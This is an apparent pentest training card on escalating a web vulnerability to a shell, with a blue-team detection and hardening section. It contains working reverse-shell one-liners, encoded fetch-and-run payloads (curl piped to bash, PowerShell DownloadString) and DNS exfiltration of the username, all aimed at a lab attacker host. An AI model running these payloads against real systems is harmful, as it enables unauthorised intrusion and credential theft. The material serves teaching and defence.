From Web Vulnerability to Shell
Finding a web vulnerability isn’t the end: on a lab machine or in an in-scope pentest, the goal is usually to execute code on the server and turn that execution into an interactive shell from which to enumerate and escalate. This card is the thread that connects the vulnerabilities leading to RCE with what comes next: how to confirm you’re executing before you have a shell, which payload to pick for the target, how to stabilise the session and what privilege context you land in. The detail of each vulnerability lives in its own card; here we link to it.
flowchart LR
V["Web vulnerability<br/>(cmdi, upload, LFI, SSTI…)"] --> C["Confirm execution<br/>(sleep, ping, DNS)"]
C --> P["Pick a payload<br/>(bash, python, PowerShell)"]
P --> S["Reverse shell<br/>(listener on Kali)"]
S --> E["Stabilise the TTY"]
E --> N["Enumerate and escalate"]
Threat model
Section titled “Threat model”An attacker who can run commands through the application acts with the identity of the web
process (www-data, apache, IIS APPPOOL\PoolName, a Tomcat service account…). From
there they read the source code and its configuration (database credentials, keys, tokens),
reach the internal network from the inside and look for a way to escalate to root or
SYSTEM. The web server becomes a foothold inside the perimeter.
Anatomy
Section titled “Anatomy”“Getting a shell” has two parts worth keeping apart:
- Code execution: the application runs something you control, even if you can’t see the output.
- An interactive channel: a connection you can send commands through and read the output comfortably.
| Type | Who connects to whom | When it works |
|---|---|---|
| Reverse shell | The server connects to your listener | Almost always: firewalls mostly filter inbound, not outbound |
| Bind shell | The server opens a port and you connect | Only if nothing filters that inbound port and there’s no NAT in front |
| Web shell | You run commands through HTTP requests | Intermediate step: no TTY, no state, and it leaves a file on the server |
If a reverse shell doesn’t come back, the most common cause is egress filtering: try listening on 443 or 80, the ports that are almost never blocked outbound.
Variants
Section titled “Variants”The most common paths from a web application to code execution:
| Path | How execution happens | Card |
|---|---|---|
| Command injection | Input ends up in a call to the system shell | Command injection |
| File upload | You upload a script (.php, .aspx, .jsp) to a served path and request it |
File upload |
| LFI → RCE | You include a file you control: a poisoned log, a PHP session, the data:// wrapper (if allow_url_include is on). php://filter reads code as base64 and, with iconv filter chains (PHP filter chains, e.g. php_filter_chain_generator), generates PHP code inside the include(): RCE without allow_url_include |
LFI |
| SSTI | The injected expression reaches the language runtime | SSTI |
| Deserialisation | A tampered object runs code when it’s rebuilt | Deserialisation |
| Panels with code features | Tomcat /manager + .war, WordPress theme or plugin editor, Jenkins script console |
CMS |
| Leaked credentials | .env, .git or a backup gives a password that’s reused for SSH or a panel |
Content and files |
The last row isn’t web RCE, but in practice it’s one of the most frequent paths: a database password that also works for the system user.
Red Team
Section titled “Red Team”Discovery: confirming execution without a shell
Section titled “Discovery: confirming execution without a shell”Before firing a reverse shell, confirm that you’re executing. If the output isn’t reflected in the response (blind execution), use side channels:
# 1) Timing: if the response takes ~5 s longer, the command ran# payload in the vulnerable parameter: ;sleep 5 (Windows: & ping -n 6 127.0.0.1)
# 2) ICMP to your machine: listen on the lab VPN interfacesudo tcpdump -i tun0 icmp# payload: ;ping -c 2 10.10.14.5# if you see "ICMP echo request" from 10.10.10.20, you have execution and outbound network
# 3) Out-of-band DNS/HTTP (OAST) if ICMP is filteredinteractsh-client# payload: ;nslookup $(whoami).abc123.oast.fun# the DNS query arrives with the username inside the subdomainThe ping and the DNS lookup also confirm something important: the server can reach the network, which is what a reverse shell needs.
Exploitation: from RCE to shell
Section titled “Exploitation: from RCE to shell”Check what’s on the target before choosing the payload (which bash nc python3 perl, or
where powershell on Windows) and have the listener ready:
# On Kali: listener on a common outbound port# (on Kali, since 2021.2, any user can listen on ports below 1024; on other distributions you'll need sudo)nc -lvnp 443If you’re going to do the full TTY upgrade (below), start the listener without rlwrap: it
interferes with stty raw -echo. rlwrap is for shells you won’t stabilise, such as Windows ones.
Classic one-liners (more variants in reverse shells):
# Bashbash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'
# Python 3python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.10.14.5",443));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'
# Netcat without -e (mkfifo)rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.5 443 > /tmp/fWhen sent over HTTP, special characters (&, >, spaces, quotes) break. Two ways around
it:
# Encode in base64 and decode on the targetecho -n 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1' | base64# YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzQ0MyAwPiYx# payload: echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzQ0MyAwPiYx | base64 -d | bash
# URL-encode the final payload (+ → %2B, space → %20, | → %7C): the + in base64 is# decoded as a space. To avoid the +, add extra spaces to the original command# until the base64 doesn't produce one.
# Or serve a script and fetch it (fewer characters in the request)python3 -m http.server 80 # on Kali, with shell.sh in the directory# payload: curl 10.10.14.5/shell.sh | bashOn Windows, PowerShell accepts the command in Base64 with -EncodedCommand, but encoded as
UTF-16LE, not UTF-8:
# On Kali: build the encoded command for PowerShellecho -n 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.5/rev.ps1")' | iconv -t UTF-16LE | base64 -w0# payload: powershell -nop -w hidden -enc <string>Stabilizing
Section titled “Stabilizing”A freshly caught reverse shell has no TTY: Ctrl+C kills it, there is no tab completion and
sudo or su cannot prompt you for a password. On Linux, python3 -c 'import pty;pty.spawn("/bin/bash")'
followed by stty raw -echo; fg in your terminal covers the essentials; on Windows, ConPtyShell.
The full sequence, the alternatives without Python and the troubleshooting when the shell never
comes back are in reverse shells.
Researcher workflow
Section titled “Researcher workflow”- Confirm execution through a side channel (timing, ICMP, DNS).
- Check which interpreters exist and whether the server reaches your IP.
- Listener on 443 or 80 and a payload encoded for the transport.
- Stabilise the TTY.
- Check who you are (
id,whoami /priv) and read the application’s configuration. - Remove the web shell if you used one and note everything for the report.
- Move on to enumeration: Linux or Windows.
- nc / ncat / rlwrap: basic listener (
nc -lvnp 443;rlwrap nc -lvnp 443for Windows). - penelope or pwncat-cs: listeners that stabilise the TTY and handle several sessions.
- interactsh or Burp Collaborator: out-of-band confirmation.
- tcpdump: confirm ICMP or inbound connections on
tun0. - msfvenom: generate payloads for
.war,.aspxor binaries when needed.
Impact and chaining
Section titled “Impact and chaining”The shell lands with the web service’s privileges. What pays off first:
- Application configuration:
wp-config.php,.env,web.config,settings.py. Database credentials are often reused for system users. - Privilege context: on Linux,
www-datararely hassudo, but it can read code and logs. On Windows, IIS pool and service accounts usually holdSeImpersonatePrivilege, a classic path to SYSTEM (see Windows privilege escalation). - Internal network: from the server you reach services you couldn’t see from outside; see pivoting and file transfer.
Next step: Linux enumeration and Linux privilege escalation, or Windows enumeration and Windows privilege escalation.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- Child processes of the web server:
apache2,nginx,php-fpm,w3wp.exeorjavaspawningsh,bash,cmd.exe,powershell.exe,ncorpython. The most reliable sign of RCE. - Outbound connections from the web process to external IPs, especially to ports that aren’t known services or to destinations it has never contacted.
- New or modified files in the webroot, especially with executable extensions (
.php,.aspx,.jsp) in upload directories. - Requests with payload patterns:
base64 -d,/dev/tcp/,-EncodedCommand,mkfifo,$(.
Telemetry and sources
Section titled “Telemetry and sources”Web server access and error logs, process creation (auditd or Sysmon event 1), per-process network connections (Sysmon event 3), webroot file integrity, outbound DNS and network flows.
Hardening
Section titled “Hardening”- Egress filtering: the web server shouldn’t be able to open arbitrary connections to the internet. It breaks most reverse shells and OAST channels.
- Least privilege: a service account with no write access to the code and no
unnecessary privileges. On IIS the pool identity needs
SeImpersonatePrivilege: isolate that account, patch, and watch for Potato-style techniques. - Upload directories without execution: serve them from another domain or with the
language engine disabled, and mount them
noexecto stop uploaded binaries from running (it doesn’t stop the interpreter from running scripts; for that, disable the language engine on that path). - Disable dangerous functions the application doesn’t need (
disable_functionsin PHP forsystem,exec,shell_exec,passthru,proc_open,popen,pcntl_exec). It’s a bypassable blocklist (e.g.putenv+mailwithLD_PRELOAD). - Admin panels (Tomcat manager, Jenkins console) without default credentials and not exposed.
- WAF and EDR as detection layers, not as a substitute for fixing the vulnerability.
Response
Section titled “Response”Isolate the server, preserve logs and memory if possible, hunt for web shells and persistence (recent files in the webroot, scheduled tasks, added SSH keys), rotate every credential the process could read and fix the root vulnerability.
CVEs and real cases
Section titled “CVEs and real cases”- Apache HTTP Server 2.4.49 — CVE-2021-41773 (2021): path traversal that, with CGI enabled, allowed running commands on the server.
- Log4Shell — CVE-2021-44228 (2021): JNDI injection in Log4j 2 that gave RCE on Java applications just by logging an attacker-controlled string.
- Spring4Shell — CVE-2022-22965 (2022): data binding in Spring Framework that allowed writing a web shell on Tomcat and executing code.
- Tomcat Manager with weak credentials: not a CVE, but deploying a
.warfrom/manager/htmlis still one of the most common paths on practice machines.
Product-specific CVEs on NVD (https://nvd.nist.gov/vuln/search) and GitHub Advisories (https://github.com/advisories).
Test checklist
Section titled “Test checklist”- Execution confirmed through a side channel (timing, ICMP or DNS) within scope.
- Checked which interpreters exist and whether the server reaches the network.
- Listener on a common outbound port and a payload encoded for HTTP.
- Shell stabilised (or
rlwrapon Windows). - Identity and privileges noted (
id,whoami /priv). - Application configuration reviewed for credentials.
- Web shell removed and its path recorded for the report.